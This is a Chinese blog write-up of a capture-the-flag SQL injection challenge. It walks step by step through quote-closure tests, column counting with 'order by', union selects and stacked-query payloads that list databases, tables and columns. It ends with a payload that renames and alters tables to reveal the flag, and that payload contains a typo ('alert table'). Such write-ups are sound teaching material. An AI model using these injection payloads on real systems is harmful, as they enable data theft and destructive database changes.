[强网杯 2019]随便注 1

1、登录页面：

2、直接提交1：

3、提交1’:

4、提交1":

5、由输入为1’时报错，所以猜测结果语句应该为单引号闭合；
所以提交a’ or ‘1’='1，获得：

6、后面不太会了，参考了大佬的文章：
[强网杯2019]随便注(初学者看过来）和BUUCTF[强网杯 2019]随便注 的三种解法

7、使用1’ order by 1 # ，依次测试字段数，到3时报错，说明字段数为2：



8、这边学到一点，使用 union注入，可以显示过滤的关键字。

1' union select 1,2#

9、然后使用“堆叠注入”（就是通过 ; 号注入多条SQL语句），可以通过show databases查看数据库。

0'; show databases; #

9、使用 show tables 查看表。

0'; show tables; #

10、查看words表的内容。

1'; show columns from words; #

11、查看表 1919810931114514 的内容。（表名为数字时，要用反引号包起来查询。）
在这里发现有一个flag的字段。

0'; show columns from `1919810931114514`; #

12、借鉴 ： 强网杯2019随便注

1，通过 rename 先把 words 表改名为其他的表名。

2，把 1919810931114514 表的名字改为 words 。

3 ，给新 words 表添加新的列名 id 。

4，将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
————————————————
版权声明：本文为CSDN博主「天问_Herbert555」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_44657899/article/details/103239145